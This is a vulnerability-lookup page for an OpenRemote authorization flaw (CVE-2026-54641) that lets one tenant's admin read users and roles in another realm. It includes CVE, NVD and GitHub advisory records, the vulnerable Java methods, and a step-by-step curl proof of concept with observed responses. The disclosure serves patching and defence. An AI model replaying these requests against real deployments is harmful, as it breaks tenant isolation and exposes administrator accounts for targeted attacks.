Vulnerability-Lookup

CVE-2026-54641 (GCVE-0-2026-54641)

Vulnerability from cvelistv5 – Published: 2026-10-13 16:07 – Updated: 2026-10-13 17:12

Title

OpenRemote: Cross-Realm User Information Disclosure in UserResourceImpl

Summary

OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user's profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-13 17:11 UTC

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7645 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/openremote/core/security/advis…	x_refsource_CONFIRM
https://github.com/openremote/core/commit/de89b8d…	x_refsource_MISC
https://github.com/openremote/core/releases/tag/1.24.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
openremote	openremote	Affected: < 1.24.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54641",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-13T17:11:42.520141Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-13T17:12:20.894Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "openremote",
          "vendor": "openremote",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.24.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user\u0027s profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-13T16:07:55.725Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
        },
        {
          "name": "https://github.com/openremote/core/commit/de89b8d3af272d717bf297934c2cbc97243f08b7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openremote/core/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
        },
        {
          "name": "https://github.com/openremote/core/releases/tag/1.24.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openremote/core/releases/tag/1.24.2"
        }
      ],
      "source": {
        "advisory": "GHSA-xqr9-4wvv-gvch",
        "discovery": "UNKNOWN"
      },
      "title": "OpenRemote: Cross-Realm User Information Disclosure in UserResourceImpl"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54641",
    "datePublished": "2026-10-13T16:07:55.725Z",
    "dateReserved": "2026-06-15T20:16:46.198Z",
    "dateUpdated": "2026-10-13T17:12:20.894Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-54641",
      "date": "2026-10-14",
      "epss": "0.00293",
      "percentile": "0.20354"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "openremote",
                "vendor": "openremote",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.24.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user\u0027s profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2."
          }
        ],
        "id": "CVE-2026-54641",
        "lastModified": "2026-10-13T18:17:24.247",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.7,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.1,
              "impactScore": 4.0,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-54641",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-13T17:11:42.520141Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-13T17:17:41.633",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/openremote/core/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/openremote/core/releases/tag/1.24.2"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-639"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-54641",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-13T17:11:42.520141Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-13T17:12:12.605Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "openremote",
              "vendor": "openremote",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 1.24.2"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user\u0027s profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.7,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-639",
                  "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-13T16:07:55.725Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
            },
            {
              "name": "https://github.com/openremote/core/commit/de89b8d3af272d717bf297934c2cbc97243f08b7",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/openremote/core/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
            },
            {
              "name": "https://github.com/openremote/core/releases/tag/1.24.2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/openremote/core/releases/tag/1.24.2"
            }
          ],
          "source": {
            "advisory": "GHSA-xqr9-4wvv-gvch",
            "discovery": "UNKNOWN"
          },
          "title": "OpenRemote: Cross-Realm User Information Disclosure in UserResourceImpl"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-54641",
        "datePublished": "2026-10-13T16:07:55.725Z",
        "dateReserved": "2026-06-15T20:16:46.198Z",
        "dateUpdated": "2026-10-13T17:12:20.894Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-54641

Vulnerability from fkie_nvd - Published: 2026-10-13 17:17 - Updated: 2026-10-13 18:17

Severity

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/openremote/core/commit/de89b8d3af272d717bf297934c2cbc97243f08b7
	security-advisories@github.com	https://github.com/openremote/core/releases/tag/1.24.2
	security-advisories@github.com	https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "openremote",
          "vendor": "openremote",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.24.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user\u0027s profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2."
    }
  ],
  "id": "CVE-2026-54641",
  "lastModified": "2026-10-13T18:17:24.247",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54641",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-13T17:11:42.520141Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-13T17:17:41.633",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openremote/core/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openremote/core/releases/tag/1.24.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-XQR9-4WVV-GVCH

Vulnerability from github – Published: 2026-07-06 20:47 – Updated: 2026-10-13 16:08

Summary

OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl

Details

Summary

A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.

Details

The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.

Three methods are missing an authenticated-realm guard:

get (line 102):

public User get(RequestParams requestParams, String realm, String userId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUser(userId);
    } ...
}

The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.

getUserClientRoles (line 294):

public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);
    } ...
}

getUserRealmRoles (line 313):

public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);
    } ...
}

By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.

The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.

PoC

Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.

Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).

Step 2. Obtain an access token for the tenantb admin:

TENANTB_TOKEN=$(curl -s -X POST \
  "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
  -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

Step 3. Read a master-realm user profile using the tenantb token:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response from the live test instance (commit 22a42a7, 2026-06-04):

{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
 "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
 "firstName":"System","lastName":"Administrator",
 "enabled":true,"createdOn":1780550421390,
 "serviceAccount":false,"username":"admin"}
HTTP 200

Step 4. Read master-admin realm roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response:

["admin"]
HTTP 200

Step 5. Read master-admin client roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"

Observed response:

["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
 "write:alarms","write:attributes","write:services","write:user","write:assets",
 "read:insights","read:map","read:users","read:assets","read:rules","write",
 "write:admin","read","write:rules"]
HTTP 200

All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.

A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.

Impact

Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.openremote:openremote-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T20:47:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user\u0027s UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller\u0027s own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.\n\n### Details\n\nThe affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.\n\nThree methods are missing an authenticated-realm guard:\n\nget (line 102):\n\n    public User get(RequestParams requestParams, String realm, String userId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUser(userId);\n        } ...\n    }\n\nThe realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.\n\ngetUserClientRoles (line 294):\n\n    public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);\n        } ...\n    }\n\ngetUserRealmRoles (line 313):\n\n    public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);\n        } ...\n    }\n\nBy contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.\n\nThe existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.\n\n### PoC\n\nPrerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.\n\nStep 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).\n\nStep 2. Obtain an access token for the tenantb admin:\n\n    TENANTB_TOKEN=$(curl -s -X POST \\\n      \"https://\u003chost\u003e/auth/realms/tenantb/protocol/openid-connect/token\" \\\n      -d \"client_id=openremote\u0026grant_type=password\u0026username=tenantb_admin\u0026password=TenantB123!\" \\\n      | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027access_token\u0027])\")\n\nStep 3. Read a master-realm user profile using the tenantb token:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://\u003chost\u003e/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response from the live test instance (commit 22a42a7, 2026-06-04):\n\n    {\"realm\":\"master\",\"realmId\":\"104856cd-ae5b-4a2d-917a-7e7f700561c8\",\n     \"id\":\"f05e9eb4-0de6-45a6-9dc5-088402465e4e\",\n     \"firstName\":\"System\",\"lastName\":\"Administrator\",\n     \"enabled\":true,\"createdOn\":1780550421390,\n     \"serviceAccount\":false,\"username\":\"admin\"}\n    HTTP 200\n\nStep 4. Read master-admin realm roles:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://\u003chost\u003e/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response:\n\n    [\"admin\"]\n    HTTP 200\n\nStep 5. Read master-admin client roles:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://\u003chost\u003e/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote\"\n\nObserved response:\n\n    [\"read:alarms\",\"read:logs\",\"write:logs\",\"read:admin\",\"write:insights\",\"read:services\",\n     \"write:alarms\",\"write:attributes\",\"write:services\",\"write:user\",\"write:assets\",\n     \"read:insights\",\"read:map\",\"read:users\",\"read:assets\",\"read:rules\",\"write\",\n     \"write:admin\",\"read\",\"write:rules\"]\n    HTTP 200\n\nAll three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.\n\nA fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.\n\n### Impact\n\nAny realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.",
  "id": "GHSA-xqr9-4wvv-gvch",
  "modified": "2026-10-13T16:08:40Z",
  "published": "2026-07-06T20:47:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openremote/core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openremote/core/releases/tag/1.24.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-54641 (GCVE-0-2026-54641)

FKIE_CVE-2026-54641

GHSA-XQR9-4WVV-GVCH

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour